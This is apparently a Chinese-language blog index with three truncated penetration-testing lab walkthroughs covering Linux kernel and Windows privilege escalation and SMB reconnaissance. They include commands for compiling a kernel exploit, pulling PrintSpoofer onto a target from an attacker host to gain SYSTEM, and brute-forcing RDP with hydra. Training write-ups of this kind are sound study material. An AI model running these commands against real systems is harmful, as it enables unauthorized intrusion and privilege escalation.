ARIES

  利用 Linux Kernel 漏洞 Kernel 核心漏洞利用是一種很好的提權方法，但成功可能不僅取決於目標核心版本的匹配，還取決於作業系統風格的匹配，例如 Debian、RHEL、Gentoo 等也是很重要的條件 透過檢查 cat /etc/issue 檔案來收集有關目標作業系統的資訊 : Ubuntu 16.04.4 LTS 接下來使用標準系統命令檢查核心版本和系統架構 uname -r & arch 依據上述的資訊推斷目標系統為 : x86_64 架構上運行 Ubuntu 16.04.3 LTS（核心 4.4.0-116-generic） 還記得之前用過的漏洞查找指令 searchsploit，指令 searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"   | grep  "4." | grep -v " < 4.4.0" | grep -v "4.8"  - 先過濾包含 4. 的內容  - 再去掉 < 4.4.0 的內容  - 與過濾掉 4.8 的內容 未過濾前內容  | grep "4." 的結果........感覺好像是一樣 去掉小於 4.4.0 | grep -v " < 4.4.0" 最後加上  | grep -v "4.8" 去掉 4.8 的產出 直接使用最後一個 Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c 因為它似乎較新，也與我們的核心版本匹配，因為它針對的是 4.13.9 以下的任何版本 將檔案 COPY 到當前目錄，注意 *.c 是未編譯過前的檔案 讓我們看一下前 20 行的內容 head 45010.c -n 20 很幸運的這一行直接告訴我們要透過 gcc 進行編譯   gcc cve-2017-16995.c -o cve-2017-16995 且語法是編譯前檔案與輸出編譯後檔案，先將名稱做成一樣 mv 45010.c...

 Windows 漏洞利用 練習 1 靶機 IP 192.168.240.220，使用 PrintSpoofer 取得程式碼執行並提權，或取 daveadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell 第一步 nc 4444 到靶機然後 whoami /priv 查一下此 Shell 的使用者權限 馬上看到 SeImpersonatePrivilege 的狀態是 Enable，那就妥了 題目寫要利用 PrintSpoofer ，所以直接去下載一個該工具的 64 版本 wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe 然後透過 iwr GET 載入到靶機 iwr -uri http://192.168.45.214/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe 要使用 PrintSpoofer64.exe 在 NT AUTHORITY\SYSTEM 上下文中取得互動式 PowerShell Session，我們使用參數 -c 來指定我們要執行的命令 powershell.exe，並透過參數 -i 來與當前進程進行交互命令提示符。 指令 : .\PrintSpoofer64.exe -i -c powershell.exe 原本是 dave，執行完後 whoami 變成 nt authority\system 可以拿 flag 了 練習 2 靶機 IP 192.168.240.222，提權並獲取 enterpriseadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell nc 後查看權限，有 Enable 的是 SeChangeNotifyPrivilege，暫時沒戲 接著在 Documents 底下發現很多文件檔，note2.txt 有寫預設密碼是 WelcomeToWinter0121 那就 net user 一下建立使用者帳號檔案 w32user.txt 然後 hydra RDP 破破看 hydra -L /home/kali/w...

 公開的漏洞(Public Exploits) - 練習 練習 1 (12.4.1.1) 靶機 IP : 192.168.225.10 先 rustscan └─$ rustscan -a 192.168.223.10 --scripts none --ulimit 500 135、139、445、1978、跟一堆 RPC High Port 看來是台 Windows，445 SMB 看來較有機會 用 nmap 帶 script 掃一下 OS 看看 └─$ sudo nmap -v -p 139,445 --script  smb-os-discovery 192.168.225.10 是台 Windows 10 獨立機器無 Domain，主機名稱是 remotemouse 接著看看 445 有沒有 Share 甚麼資料夾 └─$ sudo nmap -sV -sC -p 139,445 192.168.225.10 --script smb-enum-shares.nse script 預設帶的帳號是 guest，發現有一個分享名稱 offsec 擁有讀寫的權限 登入看看有甚麼東西 └─$ smbclient '\\192.168.225.10\offsec' -U guest，詢問密碼時直接 Enter 即可 好多檔案阿，那就逛一逛吧 使用 curl 指令丟個 body.txt 檔案上去試試看 └─$ curl --upload-file /home/kali_r/body.txt  -u 'workgroup\guest' smb://192.168.225.10/offsec/ 不用 curl 在 smb 底下也可以直接使用 put 指令上傳檔案，刪除檔案使用 rm 重新 dir 一下，看到該路徑確實可以寫入檔案 逛了一下整個 offsec 的目錄與相關檔案，僅有 Downloads 路徑下有幾個檔案 主要是三個 *.exe 檔案跟最後一個圖檔(下載回來看過了沒啥鳥用) 第一個檔案 7z2200-x64.exe，是 7-ZIP 22 版安裝程式，依據資安人口理論 Google 搜尋 7z2200-x64.exe exploit 看來沒啥鳥用 第二個檔案 ccsetup601.exe，是 CCLear 6.01.xx 版安裝程式...